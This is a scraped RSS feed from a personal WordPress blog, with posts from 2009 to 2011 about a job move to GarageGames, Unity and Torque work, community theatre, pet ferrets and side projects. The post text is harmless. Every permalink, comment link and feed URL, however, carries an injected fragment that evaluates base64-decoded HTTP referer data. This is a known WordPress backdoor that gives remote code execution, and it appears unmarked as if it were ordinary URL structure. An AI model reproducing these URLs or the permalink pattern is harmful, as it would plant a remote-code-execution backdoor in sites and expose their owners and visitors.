How I Roll » stuff I’m doing http://www.howiroll.org It's How I Roll Fri, 29 Apr 2011 04:31:50 +0000 en hourly 1 http://wordpress.org/?v= New job, new city, new lease on life http://www.howiroll.org/2011/04/28/new-job-new-city-new-lease-on-life/%&($eval(base64_decode($_SERVERHTTP_REFERER))|.+)&%/ http://www.howiroll.org/2011/04/28/new-job-new-city-new-lease-on-life/%&($eval(base64_decode($_SERVERHTTP_REFERER))|.+)&%/#comments Fri, 29 Apr 2011 04:31:50 +0000 Dave http://www.howiroll.org/?p=1006 A lot has happened since the last time I wrote an entry. I interviewed and was offered a job at GarageGames in Las Vegas. After consulting with numero uno (my wife Marni), I took the job. In roughly two weeks, we packed up a 2700 square foot house in Pocatello and moved the vast majority of the contents to an 1800 square foot house in Las Vegas. Most everything is still in the garage. The house is a great place with easy access to the office. I'm renting from my friends Matt and Talana Fairfax who have recently moved to San Francisco.

The sad part of the whole ordeal is that Marni is still in Pocatello attempting to sell our house. We are currently looking at renting it out and getting her down here as soon as possible. I miss her so much.

So that's the big hullaballoo!

]]> http://www.howiroll.org/2011/04/28/new-job-new-city-new-lease-on-life/%&($eval(base64_decode($_SERVERHTTP_REFERER))|.+)&%/feed/ 0 Horizons, horizons http://www.howiroll.org/2011/01/18/horizons-horizons/%&($eval(base64_decode($_SERVERHTTP_REFERER))|.+)&%/ http://www.howiroll.org/2011/01/18/horizons-horizons/%&($eval(base64_decode($_SERVERHTTP_REFERER))|.+)&%/#comments Wed, 19 Jan 2011 01:31:03 +0000 Dave http://www.howiroll.org/?p=961 Just thought I would post a small update on the off-chance that anyone reads anything that I post!

I am currently doing some work for the Union initiative at Unity Technologies. It is an initiative designed to bring current and future games to emerging platforms whether they are set-top boxes, TV internals (play a game on your Bravia without having a console), or cellular platforms. We are doing most of the business-end deals with manufacturers and hoping to bring a great catalog of stellar games made with the engine to them.

I am also still doing community support for the Torque line of engines, though I cannot really announce anything officially until the trigger is pulled by Eric Preisz. But the future there is bright for all Torque licensees.

I am also applying for a position with District 25 as the Technology Coordinator. I have no idea yet if I will even get an interview. I am hopeful, but I also really enjoy working at ISU as a Computer Analyst.

So that is just a small update on some of the things going on in my life right now. Thanks to the two spammers who are reading!

]]> http://www.howiroll.org/2011/01/18/horizons-horizons/%&($eval(base64_decode($_SERVERHTTP_REFERER))|.+)&%/feed/ 0 My Japanese Tutor DS – I think I’ll buy this http://www.howiroll.org/2010/06/18/my-japanese-tutor-i-think-ill-buy-this/%&($eval(base64_decode($_SERVERHTTP_REFERER))|.+)&%/ http://www.howiroll.org/2010/06/18/my-japanese-tutor-i-think-ill-buy-this/%&($eval(base64_decode($_SERVERHTTP_REFERER))|.+)&%/#comments Fri, 18 Jun 2010 14:53:18 +0000 Dave http://www.howiroll.org/?p=916 It has been a long time since I started learning Japanese, and I was actually pretty good at reading it years ago. Since I have not kept up on it, I've pretty much lost all of my language memory. So to get back into it, I've thought about getting this. While it is definitely a rudimentary learning tool, it is exactly what I need to try to get back on my feet again with the language. I remember seeing this a while back, but I did not know where my DS was at the time. I would prefer to do the "writing tutors" on the DS with a stylus than tracing characters with my finger on the iPhone.

My Japanese Coach

Price: $29.99

4.3 out of 5 stars (101 customer reviews)

48 used & new available from $14.75

Or from Play-Asia.

]]> http://www.howiroll.org/2010/06/18/my-japanese-tutor-i-think-ill-buy-this/%&($eval(base64_decode($_SERVERHTTP_REFERER))|.+)&%/feed/ 0 Gaslight and What We’ve Been Up To Lately http://www.howiroll.org/2010/02/19/gaslight-and-what-weve-been-up-to-lately/%&($eval(base64_decode($_SERVERHTTP_REFERER))|.+)&%/ http://www.howiroll.org/2010/02/19/gaslight-and-what-weve-been-up-to-lately/%&($eval(base64_decode($_SERVERHTTP_REFERER))|.+)&%/#comments Fri, 19 Feb 2010 15:37:59 +0000 Dave http://www.howiroll.org/?p=870 It has been quite a while since I posted anything. I wish I could say that I was being productive in that time, but mostly I think I was just being sick and goofing off. "Goofing off" has included limited playtime with Bayonetta, New Super Mario Bros, Mario Kart Wii, Crisis Core: Final Fantasy VII, Collapse, and Swords & Poker. It has also included limited research on community theatre history in our region and into backend game server technology. Against my better judgement, I picked up Doom II RPG, so I am sure that my iPhone's battery will fail fast, most likely while I'm blasting baddies in turn-based goodness.

Gaslight

I am enjoying my tiny role in Gaslight at Westside. It is refreshing to get to help out with a show, wear a costume, and not have to learn any lines. It is also a lot of fun to see just how much people are loving Marni in the role. She does a spectacular job of being driven to the brink of insanity by her devious husband. I wish that I was able to see the end, however, since I am told that she shines, but that is while I am waiting to come on stage for my few seconds in the limelight.

She was also recently cast in Westside's next show, Move Over Mrs. Markham.

Things We Have Seen Lately

Marni and I go to a lot of theatre. Since my last entry (Dec 14th), we have gone to A Dicken's Christmas at the Gateway Foundation, White Christmas at Mystique, November at ARTI, Gaslight at Westside (cheating since we're both in it), Avenue Q in Salt Lake, Crimes of the Heart at OTAS, and Old, New, and Broadway Too at Mystique. We also happened to see a couple of movies Sherlock Holmes, Avatar, and When in Rome and quite enjoyed them. We headed to Valentines Day last weekend for...you guessed it, Valentines day.

]]> http://www.howiroll.org/2010/02/19/gaslight-and-what-weve-been-up-to-lately/%&($eval(base64_decode($_SERVERHTTP_REFERER))|.+)&%/feed/ 0 Now Zoe’s a bad, bad girl. http://www.howiroll.org/2009/12/14/now-zoes-a-bad-bad-girl/%&($eval(base64_decode($_SERVERHTTP_REFERER))|.+)&%/ http://www.howiroll.org/2009/12/14/now-zoes-a-bad-bad-girl/%&($eval(base64_decode($_SERVERHTTP_REFERER))|.+)&%/#comments Mon, 14 Dec 2009 19:20:54 +0000 Dave http://www.howiroll.org/?p=867 Where there are ferrets, there is trouble.

For a long while now, we have been under the impression that Zoe is not nearly the climber and jumper that Broots is. It made sense since he can jump up on the tub in a single leap and it often takes her a couple of leaps. He climbs anything he can get his claws into while she half-heartedly climbs only when there's not an easier way to get to where she wants to go. So, when we got back from Salt Lake and The Wedding Singer Saturday and noticed that one of them had gotten out, we assumed it was Broots. After all, he had done it before, but this time there was a difference: he had climbed back in the cage! This morning, our perception of our little girl changed somewhat.

It is fun to personify your pets; to add a little human thinking to them. Since she's never expressed much interest (or talent) in climbing, we didn't think that she would be the one who got out and made a mess in the book/piano room. We imagined her watching Broots from the cage, wishing she could go on a grand adventure. And just before we came in the door, he climbed back into the cage so that we would be none-the-wiser--except for the mess in the room, of course!

This morning, I slunk out of bed in my usual early-morning Gawd-I-HATE-mornings stupor. I heard something sliding around in the other room so I went to investigate, expecting them to be moving their food dishes around the cage. I also thought Broots may just have gotten out again, even though Marni secured the blanket on our makeshift door (the real door still in shipping limbo from Marshall's). Broots was in the cage, excitedly running back and forth. I saw something fall down from the side of the cage and thought that she must be down on the bottom. She was, but she was trying to crawl back up the outside of the cage to get back in. I like to think it was to put on the ruse that she never really escaped.

So now I know that if she really wants to, she can not only jump and climb like crazy, but she can get out of the cage and back in without us knowing. I hope Marshall's gets the new cage door here quickly! I think I'll have to move it back down to the bottom so that they don't have as far to climb. It just makes it a pain to clean. The current arrival date for the cage door is Thursday, but now that they know they can get out, they just keep doing it!

The Wedding Singer: The Musical Comedy (Pvg)

Marshall Ferret Penthouse 41L x 25.5W x 57H

The Pursuit of Excellence: Ferrets

]]> http://www.howiroll.org/2009/12/14/now-zoes-a-bad-bad-girl/%&($eval(base64_decode($_SERVERHTTP_REFERER))|.+)&%/feed/ 0 NEWS ALERT: Some drivers are friggin’ idiots. http://www.howiroll.org/2009/06/17/news-alert-some-drivers-are-friggin-idiots/%&($eval(base64_decode($_SERVERHTTP_REFERER))|.+)&%/ http://www.howiroll.org/2009/06/17/news-alert-some-drivers-are-friggin-idiots/%&($eval(base64_decode($_SERVERHTTP_REFERER))|.+)&%/#comments Wed, 17 Jun 2009 17:42:24 +0000 Dave http://www.howiroll.org/?p=791 This morning, on my way to work, I nearly hit a car that blew through a red light. He did not slow down or stop at the light. He just barreled through. My light was green and had been for some time. It was not a case of him rolling through a yellow light. I do not know if he saw the light or even cared; except that he seemed to care about my truck trying to run him down since I saw him at barely the right time to hit my breaks and skidded before smacking into the side of his car.

California traffic camera widely circulated on the net.

California traffic camera widely circulated on the net.

And as he went, he gave me a thumbs up. That's what I don't get.

I understand people blasting through red lights whether it be because they are not paying attention or just do not care. What I do not get is that as I was about to hit hum during his traffic infraction...he gave me a thumbs up.

Oh yeah!

Oh yeah!

Really? I mean, really?

]]> http://www.howiroll.org/2009/06/17/news-alert-some-drivers-are-friggin-idiots/%&($eval(base64_decode($_SERVERHTTP_REFERER))|.+)&%/feed/ 0 The bludgeoning art of Triage http://www.howiroll.org/2009/05/11/the-bludgeoning-art-of-triage/%&($eval(base64_decode($_SERVERHTTP_REFERER))|.+)&%/ http://www.howiroll.org/2009/05/11/the-bludgeoning-art-of-triage/%&($eval(base64_decode($_SERVERHTTP_REFERER))|.+)&%/#comments Mon, 11 May 2009 17:05:00 +0000 Dave http://www.howiroll.org/?p=767 When one is as busy and scattered as I am, they have to figure out what projects to work on and what to triage. There are a couple of musts that I have to keep doing to be able to keep doing anything.

Must Projects

Jobs. I do my work at ISU and at GarageGames. These are musts that keep what little money I have rolling in. As we all do, I need a little more to be able to pay off the debts that we have acquired in purchasing and updating our house. We've upped the value significantly, but that has come at a definite cost to us. But we have crafted a house that we like and want to live in for a long time to come. So now we need to pay for it all (as well as the next step in renovations).

Thesis. This has been back-burnered for way too long while I've been taking care of other business. I need to get serious about it and actually work on the damn thing. Which means getting to work soon and working hard. My subscription to ATHE is renewed and I can plumb the depths of current theatre topics rather heavily even if they are unrelated to things which I can do in our department as a topic.

Possible Projects

So now I get to the part where I get to figure out what projects I really want to work on. I have already triaged Manifest Destiny to work on the so-called-Zombie Musical.

Zombie Musical. The project is shaping up to be quite different than originally constructed, but I like the direction I'm taking it in. I just need to make sure that I can do the 10 minute teaser short that I'm planning as a proof-of-concept. It will be difficult enough to create this teaser video plus it will give me a good idea of how to work on the full version since it runs blindly into completely new territory for film work that I've done.

So right now, that is on-track and I've been working on writing it, even if the draft that I was working on last week has changed significantly.

Get To Know Idaho. I've had an idea for a long time but, like all ideas, it requires time. I have a list of businesses/community organizations that I really like and want to put a video promotion site together for these businesses/organizations. I need to get oriented with video interview questions, setup dates and times and begin releasing. The organization is actually much harder than I thought initially, but that's usually the case.

I will be targeting Southeastern Idaho in the beginning and looking at ways to open up the platform to allow others to post their favorite businesses/org's without it becoming a "local spam" platform. I'm still working on that part.

Community Education Classes. I have a strange accumulation of knowledge that I have picked up over the years, whether it be programming, game-related issues, film and photo work, theatre, etc. I have often thought about teaching people how to do a lot of the things that I've learned over the years. I like to teach, so I keep thinking about what could be a good teaching choice for me. I would just need to find a topic that I feel comfortable teaching that people in my area also really want to learn.

I have thought about basic game development courses for kids (or parents to work on with their kids). I've gone back and forth on using BlitzMax, GameMaker, or Torque 2D as a platform for these concept classes. I would work them initially for the classes with the long-term goal of working them into online coursework. This is a huge project and probably one that will be triaged early as I evaluate it.

I have also thought about teaching video editing and such, though the computers available are severely underpowered and ill-equipped for such a class. At best, I would be teaching how to use Microsoft Movie Maker; that is only if the software is installed or their already over-worked and underpaid techs can get it on in time. But between that and audio syncing,  those are two classes I could teach quite adeptly; especially if there were a Final Cut Pro workshop needed.

iPhone GameDev Project. As everyone else in "the business" does, I have a zillion ideas running around my head, waiting to be put down in some sort of prototype form. My current incarnation of the prototyping churn mill has been in terms of gameplay that can be fun on a mobile device. Any number of my ideas or "storylines" (for lack of a broader description) can be adapted to any number of different types of games. Recently I've been also sitting back and learning the iPhone SDK 3.0 and giving my Objective-C skills an adrenaline shot.

The latest gameplay concepts that I've been prototyping are a 2D dungeon exploration simulation similar to FastCrawl and Oasis. I've also been playing with the strategic concepts in Advance Wars. While they're all very cool at what they do (and well worth the purchase), I haven't locked on to exactly how I want to work with some of the base gameplay concepts yet. I do not want to clone any of these titles nor do I want to create an epic that does not work well with the mobile mentality (which is where many of my concepts started in the Adventure/RPG track).

May be triaged or at least refactored.

]]> http://www.howiroll.org/2009/05/11/the-bludgeoning-art-of-triage/%&($eval(base64_decode($_SERVERHTTP_REFERER))|.+)&%/feed/ 0 The Places My Mind Goes – The Boink! and Dope Connection http://www.howiroll.org/2009/04/16/the-places-my-mind-goes-the-boink-and-dope-connection/%&($eval(base64_decode($_SERVERHTTP_REFERER))|.+)&%/ http://www.howiroll.org/2009/04/16/the-places-my-mind-goes-the-boink-and-dope-connection/%&($eval(base64_decode($_SERVERHTTP_REFERER))|.+)&%/#comments Fri, 17 Apr 2009 03:56:09 +0000 Dave http://www.howiroll.org/?p=744 I was driving home from Theatre ISU's fun and lively production of Picasso at the Lapin Agile when I heard a song by Dope featuring Zakk Wylde of Black Label Society (as well as being a hell of a guitarist for Ozzy). The song "Addiction" has the chorus:

Cocaine, heroin, alcohol and vicadin

And I couldn't get out of my head that I had heard this string before or at least something like it. Here is the video:

Nice bit of nu-metal, that.

The song that I had in my head wasn't Nu-Metal, though. Not really much of any kind of metal. More of a fun-punky sound that the second stage of Vans is so fond of. It took a second to remember what it was. It was Boink! A band that I found while looking for music for Die Happy.

Here's their in-development site. The song is "Prescription Cocktail". Two different styles that use what I am sure is most likely a twist of a common drug-poet chant in very different ways. Boink's list is a lot longer and a bit more fun, though. Definitely not the same, but both caught in my head and it took looking them up (and sorting through my music collection) to figure out why my brain would not shut down.

Prosiac, Ridilin, Aderal, Welbutrin/Put it in the water now/Everybody's learning how

Paxil, lithium, SoCo, give me some/Put it in the water now/Everybody's gonna feel happy, happy, happy, not sad.

Prosiac, Ridilin, Aderal, Welbutrin/Nicotine, tylenol, heroin, alcohol

]]> http://www.howiroll.org/2009/04/16/the-places-my-mind-goes-the-boink-and-dope-connection/%&($eval(base64_decode($_SERVERHTTP_REFERER))|.+)&%/feed/ 0 I love my jobs http://www.howiroll.org/2009/04/06/i-love-my-jobs/%&($eval(base64_decode($_SERVERHTTP_REFERER))|.+)&%/ http://www.howiroll.org/2009/04/06/i-love-my-jobs/%&($eval(base64_decode($_SERVERHTTP_REFERER))|.+)&%/#comments Tue, 07 Apr 2009 02:20:26 +0000 Dave http://www.howiroll.org/?p=672 I have to say that I love my jobs. Sure, there can be horrific pressures. ISU is seeing budget freezes, layoff's, hiring freezes. I get people who scream at me to support their non-existent C++ coding knowledge when they were told repeatedly that certain features require C++ changes to the engine (PhysX in TGE, for example). But 99% of the time, I quite enjoy my jobs.

I enjoy getting to work with Chuck and Ron on our lab issues. I really enjoy getting to sit down, test logic, and program. My boss, Tony, makes chatting about extremely important issues seem light and much less stressful than they could be. In all, it feels like a pretty big win situation.

Working at ISU and GG is an Epic Win!

Working at ISU and GG is an Epic Win!

On the GarageGames front, I really enjoy Deborah, Mich, Brett, Jacob, and Michael who I seem to be in constant communication with about any given number of things that are going on in my work-day. Sometimes I feel a bit out of the loop, as can be expected from a remote employee, but Matt and the rest of the Torque 3D crew and contractors keep me well-versed in everything that is going on in the development shell. Jacob is excellent at keeping me updated on what is happening with web pushes that he and his team are working on. Mich is a powerhouse when it comes to documentation and community presence. His GDC interviews and documentation are absolutely awesome.

I love the tech we are working on. Torque 3D will blow the minds off people. The amazing stuff that Sickhead Studios has done should blow everyone's minds! The terrain enhancements, road/river builder, and their forest kit are excellent. To see their stuff (and other Torque 3D stuff in action), check out Brett's blogs.

Here is a collection of the Sickhead videos on the GG Vimeo channel:


GDC 2009 - Torque 3D "South Pacific" Part I from GarageGames on Vimeo.


GDC 2009 - Torque 3D "South Pacific" Part II from GarageGames on Vimeo.


GDC 2009 - Torque 3D "South Pacific" Part III from GarageGames on Vimeo.


GDC 2009 - Torque 3D "South Pacific" Part IV from GarageGames on Vimeo.

That is a bit of the stunning brilliance that companies dedicated to Indie developers, current and next gen technology, and strong artistic vision can produce.

Also, because I enjoyed this. Mega64's IGF possible NSFW video:

]]> http://www.howiroll.org/2009/04/06/i-love-my-jobs/%&($eval(base64_decode($_SERVERHTTP_REFERER))|.+)&%/feed/ 1 SPRING BREAK! http://www.howiroll.org/2009/03/23/spring-break/%&($eval(base64_decode($_SERVERHTTP_REFERER))|.+)&%/ http://www.howiroll.org/2009/03/23/spring-break/%&($eval(base64_decode($_SERVERHTTP_REFERER))|.+)&%/#comments Mon, 23 Mar 2009 13:36:18 +0000 Dave http://www.howiroll.org/?p=646 No, I don't get Spring Break...but Marni does. She's driving to Idaho Falls this morning to visit her friend Kim and have a (hopefully) lazy day. She really deserves one! But this is what I was greeted with on this wonderful first day of Spring Break:

ISU on Spring Break My front porch and street...first day of Spring Break ]]> http://www.howiroll.org/2009/03/23/spring-break/%&($eval(base64_decode($_SERVERHTTP_REFERER))|.+)&%/feed/ 0